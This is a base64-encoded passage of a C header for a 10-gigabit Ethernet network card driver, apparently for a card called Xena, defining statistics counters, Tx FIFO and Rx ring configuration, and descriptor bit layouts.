Y19oZHJfZXJyX2lwOwogICAgdTMyIHJlc2VydmVkXzg7CiAgICB1MzIgcm1hY19pY21wOwogICAg dTY0IHJtYWNfdGNwOwogICAgdTMyIHJtYWNfZXJyX2RycF91ZHA7CiAgICB1MzIgcm1hY191ZHA7 CiAgICB1NjQgcm1hY194Z21paV9lcnJfc3ltOwogICAgdTY0IHJtYWNfZnJtc19xMDsKICAgIHU2 NCBybWFjX2ZybXNfcTE7CiAgICB1NjQgcm1hY19mcm1zX3EyOwogICAgdTY0IHJtYWNfZnJtc19x MzsKICAgIHU2NCBybWFjX2ZybXNfcTQ7CiAgICB1NjQgcm1hY19mcm1zX3E1OwogICAgdTY0IHJt YWNfZnJtc19xNjsKICAgIHU2NCBybWFjX2ZybXNfcTc7CiAgICB1MTYgcm1hY19mdWxsX3EzOwog ICAgdTE2IHJtYWNfZnVsbF9xMjsKICAgIHUxNiBybWFjX2Z1bGxfcTE7CiAgICB1MTYgcm1hY19m dWxsX3EwOwogICAgdTE2IHJtYWNfZnVsbF9xNzsKICAgIHUxNiBybWFjX2Z1bGxfcTY7CiAgICB1 MTYgcm1hY19mdWxsX3E1OwogICAgdTE2IHJtYWNfZnVsbF9xNDsKICAgIHUzMiByZXNlcnZlZF85 OwogICAgdTMyIHJtYWNfcGF1c2VfY250OwogICAgdTY0IHJtYWNfeGdtaWlfZGF0YV9lcnJfY250 OwogICAgdTY0IHJtYWNfeGdtaWlfY3RybF9lcnJfY250OwogICAgdTMyIHJtYWNfZXJyX3RjcDsK ICAgIHUzMiBybWFjX2FjY2VwdGVkX2lwOwoKLyogUENJL1BDSS1YIFJlYWQgdHJhbnNhY3Rpb24g c3RhdGlzdGljcy4gKi8KCXUzMiBuZXdfcmRfcmVxX2NudDsKCXUzMglyZF9yZXFfY250OwogICAg dTMyIHJkX3J0cnlfY250OwogICAgdTMyIG5ld19yZF9yZXFfcnRyeV9jbnQ7CgovKiBQQ0kvUENJ LVggV3JpdGUvUmVhZCB0cmFuc2FjdGlvbiBzdGF0aXN0aWNzLiAqLwogICAgdTMyIHdyX3JlcV9j bnQ7CiAgICB1MzIgd3JfcnRyeV9yZF9hY2tfY250OwogICAgdTMyIG5ld193cl9yZXFfcnRyeV9j bnQ7CiAgICB1MzIgbmV3X3dyX3JlcV9jbnQ7CiAgICB1MzIgd3JfZGlzY19jbnQ7CiAgICB1MzIg d3JfcnRyeV9jbnQ7CgovKglQQ0kvUENJLVggV3JpdGUgLyBETUEgVHJhbnNhY3Rpb24gc3RhdGlz dGljcy4gKi8KICAgIHUzMiB0eHBfd3JfY250OwogICAgdTMyIHJkX3J0cnlfd3JfYWNrX2NudDsK ICAgIHUzMiB0eGRfd3JfY250OwogICAgdTMyIHR4ZF9yZF9jbnQ7CiAgICB1MzIgcnhkX3dyX2Nu dDsKICAgIHUzMiByeGRfcmRfY250OwogICAgdTMyIHJ4Zl93cl9jbnQ7CiAgICB1MzIgdHhmX3Jk X2NudDsKI2VuZGlmCn1TdGF0SW5mb190OyAgCgovKiBTdHJ1Y3R1cmVzIHJlcHJlc2VudGluZyBk aWZmZXJlbnQgaW5pdCB0aW1lIGNvbmZpZ3VyYXRpb24KICogcGFyYW1ldGVycyBvZiB0aGUgTklD LgogKi8KCi8qIE1haW50YWlucyBQZXIgRklGTyByZWxhdGVkIGluZm9ybWF0aW9uLiAqLwp0eXBl ZGVmIHN0cnVjdCB0eF9maWZvX2NvbmZpZwp7CiNkZWZpbmUJTUFYX0FWQUlMQUJMRV9UWERTCTgx OTIJCiAgICB1MzIgICAgIEZpZm9MZW47ICAgICAgICAvKiBzcGVjaWZpZXMgbGVuIG9mIEZJRk8g dXB0byA4MTkyLCBpZSBubyBvZiBUeERMcyovCi8qIFByaW9yaXR5IGRlZmluaXRpb24gKi8KI2Rl ZmluZSBUWF9GSUZPX1BSSV8wICAgICAgICAgICAgICAgMCAvKkhpZ2hlc3QqLwojZGVmaW5lIFRY X0ZJRk9fUFJJXzEgICAgICAgICAgICAgICAxCiNkZWZpbmUgVFhfRklGT19QUklfMiAgICAgICAg ICAgICAgIDIKI2RlZmluZSBUWF9GSUZPX1BSSV8zICAgICAgICAgICAgICAgMwojZGVmaW5lIFRY X0ZJRk9fUFJJXzQgICAgICAgICAgICAgICA0CiNkZWZpbmUgVFhfRklGT19QUklfNSAgICAgICAg ICAgICAgIDUKI2RlZmluZSBUWF9GSUZPX1BSSV82ICAgICAgICAgICAgICAgNgojZGVmaW5lIFRY X0ZJRk9fUFJJXzcgICAgICAgICAgICAgICA3IC8qbG93ZXN0Ki8KICAgIHU4ICAgICAgRmlmb1By aW9yaXR5OyAgIC8qIHNwZWNpZmllcyBwb2ludGVyIGxldmVsIGZvciBGSUZPKi8KICAgICAgICAg ICAgICAgICAgICAgICAgICAgIC8qIHVzZXIgc2hvdWxkIG5vdCBzZXQgdHdvcyBmaWZvcyB3aXRo IHNhbWUgcHJpICovCiAgICB1OCAgICAgIGZOb1Nub29wOyAgICAgICAgCiNkZWZpbmUgTk9fU05P T1BfVFhEICAgICAgICAgICAgICAgIDB4MDEKI2RlZmluZSBOT19TTk9PUF9UWERfQlVGRkVSICAg ICAgICAgIDB4MDIgCn0gdHhfZmlmb19jb25maWdfdDsKCgovKiBNYWludGFpbnMgcGVyIFJpbmcg cmVsYXRlZCBpbmZvcm1hdGlvbiAqLwp0eXBlZGVmIHN0cnVjdCByeF9yaW5nX2NvbmZpZwp7CiAg ICB1MzIgTnVtUnhkOyAgICAgICAgIC8qTm8gb2YgUnhEcyBwZXIgUnggUmluZyAqLwojZGVmaW5l IFJYX1JJTkdfUFJJXzAgICAgICAgICAgICAgICAwIC8qIGhpZ2hlc3QgKi8KI2RlZmluZSBSWF9S SU5HX1BSSV8xICAgICAgICAgICAgICAgMSAKI2RlZmluZSBSWF9SSU5HX1BSSV8yICAgICAgICAg ICAgICAgMiAKI2RlZmluZSBSWF9SSU5HX1BSSV8zICAgICAgICAgICAgICAgMyAKI2RlZmluZSBS WF9SSU5HX1BSSV80ICAgICAgICAgICAgICAgNCAKI2RlZmluZSBSWF9SSU5HX1BSSV81ICAgICAg ICAgICAgICAgNQojZGVmaW5lIFJYX1JJTkdfUFJJXzYgICAgICAgICAgICAgICA2IAojZGVmaW5l IFJYX1JJTkdfUFJJXzcgICAgICAgICAgICAgICA3IC8qIGxvd2VzdCAqLwoKICAgIHU4ICBSaW5n UHJpb3JpdHk7ICAgLypTcGVjaWZpZXMgc2VydmljZSBwcmlvcml0eSBvZiByaW5nKi8KICAgICAg ICAgICAgICAgICAgICAgICAgLyogT1NNIHNob3VsZCBub3Qgc2V0IGFueSB0d28gcmluZ3Mgd2l0 aCBzYW1lIHByaW9yaXR5Ki8KICAgIHU4ICBSaW5nT3JnOyAgICAgICAgLypPcmdhbml6YXRpb24g b2YgcmluZyovCiNkZWZpbmUgUklOR19PUkdfQlVGRjEgICAgICAgICAgIDB4MDEKI2RlZmluZSBS WF9SSU5HX09SR19CVUZGMyAgICAgICAgICAgMHgwMwojZGVmaW5lIFJYX1JJTkdfT1JHX0JVRkY1 ICAgICAgICAgICAweDA1CgovKiBJbiBjYXNlIG9mIDMgYnVmZmVyIHJlY3YuIG1vZGUsIHNpemUg b2YgdGhyZWUgYnVmZmVycyBpcyBleHBlY3RlZCBhcy4uICovCiNkZWZpbmUgQlVGRl9TWl8xICAg ICAgICAgICAgICAgICAgIDIyICAvKiBldGhlcm5ldCBoZWFkZXIgKi8gCiNkZWZpbmUgQlVGRl9T Wl8yICAgICAgICAgICAgICAgICAgICg2NCs2NCkgLyogbWF4LiBJUCtUQ1AgaGVhZGVyIHNpemUg Ki8KI2RlZmluZSBCVUZGX1NaXzMgICAgICAgICAgICAgICAgICAgKDE1MDAtMjAtMjApIC8qIFRD UCBwYXlsb2FkICovIAojZGVmaW5lIEJVRkZfU1pfM19KVU1CTyAgICAgICAgICAgICAoOTYwMC0y MC0yMCkgLyogSnVtYm8gVENQIHBheWxvYWQgKi8KCiAgICB1MzIgUnhkVGhyZXNoOyAgLypObyBv ZiB1c2VkIFJ4ZHMgTklDIGNhbiBzdG9yZSBiZWZvcmUgdHJhbnNmZXIgdG8gaG9zdCAqLwojZGVm aW5lIERFRkFVTFRfUlhEX1RIUkVTSE9MRCAgICAgICAweDEgLyogVE9ETyAqLwogICAgdTggIGZO b1Nub29wOyAgICAgICAgCiNkZWZpbmUgTk9fU05PT1BfUlhEICAgICAgICAgICAgICAgIDB4MDEK I2RlZmluZSBOT19TTk9PUF9SWERfQlVGRkVSICAgICAgICAgMHgwMiAKICAgIHUzMiBSeERfQmFj a09mZl9JbnRlcnZhbDsKI2RlZmluZSBSWERfQkFDS09GRl9JTlRFUlZBTF9ERUYgICAgICAgIDB4 MAojZGVmaW5lIFJYRF9CQUNLT0ZGX0lOVEVSVkFMX01JTiAgICAgICAgMHgwCiNkZWZpbmUgUlhE X0JBQ0tPRkZfSU5URVJWQUxfTUFYICAgICAgICAweDAKfSByeF9yaW5nX2NvbmZpZ190OwoKLyog VGhpcyBzdHJ1Y3R1cmUgcHJvdmlkZXMgY29udGFpbnMgdmFsdWVzIG9mIHRoZSB0dW5hYmxlIHBh cmFtZXRlcnMgCiAqIG9mIHRoZSBIL1cgCiAqLwpzdHJ1Y3QgY29uZmlnX3BhcmFtIAp7CiAgICAK LyogVHggU2lkZSAqLwogICAgdTMyICAgICBUeEZJRk9OdW07ICAgICAgLypOdW1iZXIgb2YgVHgg RklGT3MgKi8KI2RlZmluZSBNQVhfVFhfRklGT1MgOAoKICAgIHR4X2ZpZm9fY29uZmlnX3QgIFR4 Q2ZnW01BWF9UWF9GSUZPU107ICAvKlBlci1UeCBGSUZPIGNvbmZpZyAqLwogICAgdTMyICAgICBN YXhUeERzOyAgICAgICAgIC8qTWF4IG5vLiBvZiBUeCBidWZmZXIgZGVzY3JpcHRvciBwZXIgVHhE TCovCiAgICBCT09MICAgIFR4VkxBTkVuYWJsZTsgICAvKlRSVUU6IEluc2VydCBWTEFOIElELCBG QUxTRTogRG9uJ3QgaW5zZXJ0Ki8KI2RlZmluZSBUWF9SRVFfVElNRU9VVF9ERUZBVUxUICAgICAg ICAgIDB4MAojZGVmaW5lIFRYX1JFUV9USU1FT1VUX01JTiAgICAgICAgICAgICAgMHgwCiNkZWZp bmUgVFhfUkVRX1RJTUVPVVRfTUFYICAgICAgICAgICAgICAweDAKICAgIHUzMiAgICAgVHhSZXFU aW1lT3V0OyAgIAogICAgQk9PTCAgICBUeEZsb3c7ICAgICAgICAgLypUeCBmbG93IGNvbnRyb2wg ZW5hYmxlKi8KICAgIEJPT0wgICAgUnhGbG93OwogICAgQk9PTCAgICBPdmVycmlkZVR4U2Vydmlj ZVN0YXRlOyAvKiBUUlVFOiBPdmVyaWRlLCBGQUxTRTogRG8gbm90IG92ZXJyaWRlIAogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVc2UgdGhlIG5ldyBwcmlvcml0eSBpbmZv cm1hdGlvbgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvZiBzZXJ2aWNl IHN0YXRlLiBJdCBpcyBub3QgcmVjb21tZW5kZWQKICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgdG8gY2hhbmdlIGJ1dCBPU00gY2FuIG9wdCB0byBkbyBzbyAqLwojZGVmaW5l IE1BWF9TRVJWSUNFX1NUQVRFUyAgMzYKICAgIHU4ICAgICAgVHhTZXJ2aWNlU3RhdGVbTUFYX1NF UlZJQ0VfU1RBVEVTXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8q IEFycmF5IGVsZW1lbnQgcmVwcmVzZW50ICdwcmlvcml0eScgCiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgKiBhbmQgYXJyYXkgaW5kZXggcmVwcmVzZW50cwogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICogICdTZXJ2aWNlIHN0YXRlJyBlLmcu IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICogIFR4U2VydmljZVN0 YXRlWzNdPTc7IGl0IG1lYW5zIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICogIFNlcnZpY2Ugc3RhdGUgMyBpcyBhc3NvY2lhdGVkIAogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICogIHdpdGggcHJpb3JpdHkgNyBvZiBhIFR4IEZJRk8gKi8K LyogUnggU2lkZSAqLwogICAgdTMyICAgICBSeFJpbmdOdW07ICAgIC8qTnVtYmVyIG9mIHJlY2Vp dmUgcmluZ3MqLwojZGVmaW5lIE1BWF9SWF9SSU5HUyA4CiNkZWZpbmUgTUFYX1JYX0JMT0NLU19Q RVJfUklORyAgMTUwCgogICAgcnhfcmluZ19jb25maWdfdCAgUnhDZmdbTUFYX1JYX1JJTkdTXTsg LypQZXItUnggUmluZyBjb25maWcgKi8KICAgIEJPT0wgICAgUnhWTEFORW5hYmxlOyAgIC8qVFJV RTogU3RyaXAgb2ZmIFZMQU4gdGFnIGZyb20gdGhlIGZyYW1lLAogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICBGQUxTRTogRG9uJ3Qgc3RyaXAgb2ZmIFZMQU4gdGFnICovCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIAojZGVmaW5lIEhFQURFUl9FVEhFUk5FVF9JSV84MDJfM19TSVpF IDE0CiNkZWZpbmUgSEVBREVSXzgwMl8yX1NJWkUgICAgICAgICAgICAgIDMKI2RlZmluZSBIRUFE RVJfU05BUF9TSVpFICAgICAgICAgICAgICAgNQojZGVmaW5lIEhFQURFUl9WTEFOX1NJWkUgICAg ICAgICAgICAgICA0CiNkZWZpbmUgSEVBREVSX0FMSUdOX0xBWUVSXzMgICAgICAgICAgIDIKCiNk ZWZpbmUgTUlOX01UVSAgICAgICAgICAgICAgICAgICAgICAgNDYKI2RlZmluZSBNQVhfUFlMRCAg ICAgICAgICAgICAgICAgICAgMTUwMAojZGVmaW5lIE1BWF9NVFUgICAgICAgICAgICAgICAgICAg ICAoTUFYX1BZTEQrMTgpCiNkZWZpbmUgTUFYX01UVV9WTEFOICAgICAgICAgICAgICAgIChNQVhf UFlMRCsyMikKI2RlZmluZSBNQVhfUFlMRF9KVU1CTyAgICAgICAgICAgICAgOTYwMAojZGVmaW5l IE1BWF9NVFVfSlVNQk8gICAgICAgICAgICAgICAoTUFYX1BZTERfSlVNQk8rMTgpCiNkZWZpbmUg TUFYX01UVV9KVU1CT19WTEFOICAgICAgICAgIChNQVhfUFlMRF9KVU1CTysyMikKICAgIHUzMiAg ICAgTVRVOyAgICAgICAgICAgICAgICAgICAgICAgIC8qTWF4aW11bSBQYXlsb2FkKi8KICAgIEJP T0wgICAgSnVtYm9FbmFibGU7ICAgIC8qRW5hYmxlIEp1bWJvIGZyYW1lcyByZWN2L3NlbmQqLwog ICAgQk9PTCAgICBPdmVycmlkZVJ4U2VydmljZVN0YXRlOyAvKiBUUlVFOiBPdmVyaWRlLCBGQUxT RTogRG8gbm90IG92ZXJyaWRlIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICBVc2UgdGhlIG5ldyBwcmlvcml0eSBpbmZvcm1hdGlvbgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICBvZiBzZXJ2aWNlIHN0YXRlLiBJdCBpcyBub3QgcmVjb21tZW5kZWQK ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdG8gY2hhbmdlIGJ1dCBPU00g Y2FuIG9wdCB0byBkbyBzbyAqLwojZGVmaW5lIE1BWF9TRVJWSUNFX1NUQVRFUyAgMzYKICAgIHU4 ICAgICAgUnhTZXJ2aWNlU3RhdGVbTUFYX1NFUlZJQ0VfU1RBVEVTXTsgICAgIAogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogQXJyYXkgZWxlbWVudCByZXByZXNlbnQg J3ByaW9yaXR5JyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqIGFu ZCBhcnJheSBpbmRleCByZXByZXNlbnRzIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICogJ1NlcnZpY2Ugc3RhdGUnZS5nLiAKICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAqIFJ4U2VydmljZVN0YXRlWzNdPTc7IGl0IG1lYW5zIAogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICogU2VydmljZSBzdGF0ZSAzIGlzIGFz c29jaWF0ZWQgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKiB3aXRo IHByaW9yaXR5IDcgb2YgYSBSeCBGSUZPICovCiAgICBCT09MICAgIFN0YXRBdXRvUmVmcmVzaDsg IC8qIFdoZW4gdHJ1ZSwgU3RhdFJlZnJlc2hUaW1lIGhhdmUgdmFsaWQgdmFsdWUgKi8KICAgIHUz MiAgICAgU3RhdFJlZnJlc2hUaW1lOyAgLypUaW1lIGZvciByZWZyZXNoaW5nIHN0YXRpc3RpY3Mq LwojZGVmaW5lICAgICBTVEFUX1RSU0ZfUEVSXzFfU0VDT05EICAgICAgMHgyMDhENQp9OwoKLyog U3RydWN0dXJlIHJlcHJlc2VudGluZyBNQUMgQWRkcnMgKi8KdHlwZWRlZiBzdHJ1Y3QgbWFjX2Fk ZHIgewogICAgdTggbWFjX2FkZHJbRVRIX0FMRU5dOwp9bWFjYWRkcl90OwoKLyogU3RydWN0dXJl IHRoYXQgcmVwcmVzZW50IGV2ZXJ5IEZJRk8gZWxlbWVudCBpbiB0aGUgQkFSMQogKiBBZGRyZXNz IGxvY2F0aW9uLiAKICovCnR5cGVkZWYgc3RydWN0IF9UeEZJRk9fZWxlbWVudAp7CiAgICBkbWFh ZGRyX3QgVHhETF9Qb2ludGVyOwojaWZuZGVmIFhFTkFfQVJDSF82NCAKICAgIHUzMiBkdW1teTsK I2VuZGlmCiAgICB1NjQgTGlzdF9Db250cm9sOwojZGVmaW5lIFRYX0ZJRk9fTEFTVF9UWERfTlVN KCB2YWwpICAgICB2QklUKHZhbCwwLDgpCiNkZWZpbmUgVFhfRklGT19GSVJTVF9MSVNUICAgICAg ICAgICAgIEJJVCgxNCkKI2RlZmluZSBUWF9GSUZPX0xBU1RfTElTVCAgICAgICAgICAgICAgQklU KDE1KQojZGVmaW5lIFRYX0ZJRk9fRklSU1ROTEFTVF9MSVNUICAgICAgICB2QklUKDMsMTQsMikK I2RlZmluZSBUWF9GSUZPX1NQRUNJQUxfRlVOQyAgICAgICAgICAgQklUKDIzKQojZGVmaW5lIFRY X0ZJRk9fRFNfTk9fU05PT1AgICAgICAgICAgICBCSVQoMzEpCiNkZWZpbmUgVFhfRklGT19CVUZG X05PX1NOT09QICAgICAgICAgIEJJVCgzMCkKfSBUeEZJRk9fZWxlbWVudF90OwoKLyogVHggZGVz Y3JpcHRvciBzdHJ1Y3R1cmUgKi8KI2RlZmluZSBUWERfQUxMT0NFRCAyCnR5cGVkZWYgc3RydWN0 IF9UeEQKewogICAgdTY0IENvbnRyb2xfMTsKLyogYml0IG1hc2sgKi8KI2RlZmluZSBUWERfTElT VF9PV05fWEVOQSAgICAgICBCSVQoNykKI2RlZmluZSBUWERfVF9DT0RFICAgICAgICAgICAgICAo QklUKDEyKXxCSVQoMTMpfEJJVCgxNCl8QklUKDE1KSkKI2RlZmluZSBUWERfVF9DT0RFX09LKHZh bCkgICAgICAofCh2YWwgJiBUWERfVF9DT0RFKSkKI2RlZmluZSBHRVRfVFhEX1RfQ09ERSh2YWwp ICAgICAoKHZhbCAmIFRYRF9UX0NPREUpPDwxMikKI2RlZmluZSBUWERfR0FUSEVSX0NPREUgICAg ICAgICAoQklUKDIyKSB8IEJJVCgyMykpCiNkZWZpbmUgVFhEX0dBVEhFUl9DT0RFX0ZJUlNUICAg QklUKDIyKQojZGVmaW5lIFRYRF9HQVRIRVJfQ09ERV9MQVNUICAgIEJJVCgyMykKI2RlZmluZSBU WERfVENQX0xTT19FTiAgICAgICAgICBCSVQoMzApIAojZGVmaW5lIFRYRF9VRFBfQ09GX0VOICAg ICAgICAgIEJJVCgzMSkKI2RlZmluZSBUWERfVENQX0xTT19NU1ModmFsKSAgICB2QklUKHZhbCwz NCwxNCkKI2RlZmluZSBUWERfQlVGRkVSMF9TSVpFKHZhbCkgICB2QklUKHZhbCw0OCwxNikKCiAg ICB1NjQgQ29udHJvbF8yOwojZGVmaW5lIFRYRF9UWF9DS09fQ09OVFJPTCAgICAgIChCSVQoNSl8 QklUKDYpfEJJVCg3KSkKI2RlZmluZSBUWERfVFhfQ0tPX0lQVjRfRU4gICAgICBCSVQoNSkKI2Rl ZmluZSBUWERfVFhfQ0tPX1RDUF9FTiAgICAgICBCSVQoNikKI2RlZmluZSBUWERfVFhfQ0tPX1VE UF9FTiAgICAgICBCSVQoNykKI2RlZmluZSBUWERfVkxBTl9FTkFCTEUgICAgICAgICBCSVQoMTUp CiNkZWZpbmUgVFhEX1ZMQU5fVEFHKHZhbCkgICAgICAgdkJJVCh2YWwsMTYsMTYpCiNkZWZpbmUg VFhEX0lOVF9OVU1CRVIodmFsKSAgICAgdkJJVCh2YWwsMzQsNikKI2RlZmluZSBUWERfSU5UX1RZ UEVfUEVSX0xJU1QgICBCSVQoNDcpCiNkZWZpbmUgVFhEX0lOVF9UWVBFX1VUSUxaICAgICAgQklU KDQ2KQojZGVmaW5lIFRYRF9TRVRfTUFSS0VSICAgICAgICAgdkJJVCgweDYsMCw0KQoKICAgIGRt YWFkZHJfdCBCdWZmZXJfUG9pbnRlcjsKI2lmbmRlZiBYRU5BX0FSQ0hfNjQgCiAgICB1MzIgZHVt bXk7CiNlbmRpZgogICAgdTY0IEhvc3RfQ29udHJvbDsgICAgICAgLyogcmVzZXJ2ZWQgZm9yIGhv c3QgKi8gCn0gVHhEX3Q7CgovKiBSeCBkZXNjcmlwdG9yIHN0cnVjdHVyZSAqLwojZGVmaW5lIFJY RF9BTExPQ0VEIDQKCnR5cGVkZWYgc3RydWN0IF9SeERfdAp7CiAgICB1NjQgSG9zdF9Db250cm9s OyAgIC8qIHJlc2VydmVkIGZvciBob3N0ICovCiAgICB1NjQgQ29udHJvbF8xOwojZGVmaW5lIFJY RF9PV05fWEVOQSAgICAgICAgICAgIEJJVCg3KQojZGVmaW5lIFJYRF9UX0NPREUgICAgICAgICAg ICAgIChCSVQoMTIpfEJJVCgxMyl8QklUKDE0KXxCSVQoMTUpKQojZGVmaW5lIFJYRF9GUkFNRV9Q Uk9UTyAgICAgICAgIHZCSVQoMHhGRkZGLDI0LDgpCiNkZWZpbmUgUlhEX0ZSQU1FX1BST1RPX0lQ VjQgICAgQklUKDI3KQojZGVmaW5lIFJYRF9GUkFNRV9QUk9UT19JUFY2ICAgIEJJVCgyOCkKI2Rl ZmluZSBSWERfRlJBTUVfUFJPVE9fVENQICAgICBCSVQoMzApCiNkZWZpbmUgUlhEX0ZSQU1FX1BS T1RPX1VEUCAgICAgQklUKDMxKQojZGVmaW5lIFRDUF9PUl9VRFBfRlJBTUUgICAgICAgIChSWERf RlJBTUVfUFJPVE9fVENQIHwgUlhEX0ZSQU1FX1BST1RPX1VEUCkgCiNkZWZpbmUgUlhEX0dFVF9M M19DS1NVTSh2YWwpICAgKCh1MTYpKHZhbD4+IDE2KSAmIDB4RkZGRikKI2RlZmluZSBSWERfR0VU X0w0X0NLU1VNKHZhbCkgICAoKHUxNikodmFsKSAmIDB4RkZGRikKCiAgICB1NjQgQ29udHJvbF8y OwojZGVmaW5lIE1BU0tfQlVGRkVSMF9TSVpFICAgICAgIHZCSVQoMHhGRkZGLDAsMTYpCiNkZWZp bmUgU0VUX0JVRkZFUjBfU0laRSh2YWwpICAgdkJJVCh2YWwsMCwxNikKI2RlZmluZSBNQVNLX1ZM QU5fVEFHICAgICAgICAgICB2QklUKDB4RkZGRiw0OCwxNikKI2RlZmluZSBTRVRfVkxBTl9UQUco dmFsKSAgICAgICB2QklUKHZhbCw0OCwxNikKI2RlZmluZSBTRVRfTlVNX1RBRyh2YWwpICAgICAg IHZCSVQodmFsLDE2LDMyKQoKI2RlZmluZSBSWERfR0VUX0JVRkZFUjBfU0laRShDb250cm9sXzIp ICh1NjQpKChDb250cm9sXzIgJiB2QklUKDB4RkZGRiwwLDE2KSkpCi8qICAgIAojZGVmaW5lIFRY RF9HRVRfQlVGRkVSMV9TSVpFKENvbnRyb2xfMikgKHUxNikoKENvbnRyb2xfMiAmIE1BU0tfQlVG RkVSMV9TSVpFKSA+PiAoNjMtMzEpKSAgCiNkZWZpbmUgVFhEX0dFVF9CVUZGRVIyX1NJWkUoQ29u dHJvbF8yKSAodTE2KSgoQ29udHJvbF8yICYgTUFTS19CVUZGRVIyX1NJWkUpID4+ICg2My00Nykp ICAKKi8KICAgIGRtYWFkZHJfdCBCdWZmZXIwX3B0cjsKI2lmbmRlZiBYRU5BX0FSQ0hfNjQKICAg IHUzMiBkdW1teTsKI2VuZGlmCn0gUnhEX3Q7CgoKLyogU3RydWN0dXJlIHRoYXQgcmVwcmVzZW50 cyB0aGUgUnggZGVzY3JpcHRvciBibG9jayB3aGljaCBjb250YWlucyAKICogMTI4IFJ4IGRlc2Ny aXB0b3JzLgogKi8KdHlwZWRlZiBzdHJ1Y3QgX1J4RF9ibG9jawp7CiNkZWZpbmUgTUFYX1JYRFNf UEVSX0JMT0NLICAgICAgICAgICAgIDEyNwogICAgUnhEX3QgICAgcnhkW01BWF9SWERTX1BFUl9C TE9DS107CiNkZWZpbmUgTk9OWkVSTyAgMHgxMjM0NTY3OAogICAgdTY0ICAgICAgcmVzZXJ2ZWRf MDsgCiAgICAKI2RlZmluZSBFTkRfT0ZfQkxPQ0sgICAgMHhGRUZGRkZGRkZGRkZGRjdGCi8vI2Rl ZmluZSBFTkRfT0ZfQkxPQ0sgICAgMHhGRkZGRkZGRkZGRkZGRjdGCiAgICB1NjQgICAgICByZXNl cnZlZF8xOyAvKiAweEZGRkZGRkZGRkZGRkZGRkYgdG8gbWFyayBsYXN0IFJ4ZCBpbiB0aGlzIGJs ayovCiAgICBSeERfdCogICByZXNlcnZlZF8yX3BOZXh0X1J4RF9ibG9jazsvKkAgMHhGRjA6IENu dGxfMiwgTG9naWNhbCBwdHIgdG8gbmV4dCovCiNpZm5kZWYgWEVOQV9BUkNIXzY0CiAgICB1MzIg ZHVtbXk7CiNlbmRpZgogICAgdTY0IHBOZXh0X1J4RF9CbGtfcGh5c2ljYWw7ICAgICAgIC8qIEJ1 ZmYwX3B0ci4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbiBhIDMy IGJpdCBhcmNoIHRoZSB1cHBlciAzMiBiaXRzIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIHNob3VsZCBiZSAwICovCn0gUnhEX2Jsb2NrX3Q7CgovKiBTdHJ1Y3R1cmUg d2hpY2ggc3RvcmVzIGFsbCB0aGUgTUFDIGNvbnRyb2wgcGFyYW1ldGVycyAqLwoKLyogVGhpcyBz dHJ1Y3R1cmUgc3RvcmVzIHRoZSBvZmZzZXQgb2YgdGhlIFJ4RCBpbiB0aGUgcmluZyAKICogZnJv bSB3aGljaCB0aGUgUnggSW50ZXJydXB0IHByb2Nlc3NvciBjYW4gc3RhcnQgcGlja2luZyAKICog dXAgdGhlIFJ4RHMgZm9yIHByb2Nlc3NpbmcuCiAqLwp0eXBlZGVmIHN0cnVjdCBfcnhfY3Vycl9n ZXRfaW5mb190IHsKICAgIHUzMiAgICAgYmxvY2tfaW5kZXg7CiAgICB1MzIgICAgIG9mZnNldDsK ICAgIHUzMiAgICAgcmluZ19sZW47Cn0gcnhfY3Vycl9nZXRfaW5mb190OwoKdHlwZWRlZiByeF9j dXJyX2dldF9pbmZvX3QgICAgICAgICAgICAgIHJ4X2N1cnJfcHV0X2luZm9fdDsKIAovKiBUaGlz IHN0cnVjdHVyZSBzdG9yZXMgdGhlIG9mZnNldCBvZiB0aGUgVHhEbCBpbiB0aGUgRklGTwogKiBm cm9tIHdoaWNoIHRoZSBUeCBJbnRlcnJ1cHQgcHJvY2Vzc29yIGNhbiBzdGFydCBwaWNraW5nIAog KiB1cCB0aGUgVHhETHMgZm9yIHNlbmQgY29tcGxldGUgaW50ZXJydXB0IHByb2Nlc3NpbmcuCiAq Lwp0eXBlZGVmIHN0cnVjdCB7CiAgICB1MzIgICAgIG9mZnNldDsgIAogICAgdTMyICAgICBmaWZv X2xlbjsKfSB0eF9jdXJyX2dldF9pbmZvX3Q7Cgp0eXBlZGVmIHR4X2N1cnJfZ2V0X2luZm9fdCAg ICAgICAgICAgICAgdHhfY3Vycl9wdXRfaW5mb190OwoKLyogSW5mb21hdGlvbiByZWxhdGVkIHRv IHRoZSBUeCBhbmQgUnggRklGT3MgYW5kIFJpbmdzIG9mIFhlbmEKICogaXMgbWFpbnRhaW5lZCBp biB0aGlzIHN0cnVjdHVyZS4KICovCnR5cGVkZWYgc3RydWN0IG1hY19pbmZvIHsKLyogcnggc2lk ZSBzdHVmZiAqLwogICAgdm9pZCogICByeGRfcmluZ19tZW07ICAgICAvKiBvcmlnbmFsIHBvaW50 ZXIgdG8gYWxsb2NhdGVkIG1lbSAqLwogICAgZG1hYWRkcl90IHJ4ZF9yaW5nX21lbV9waHk7CiAg 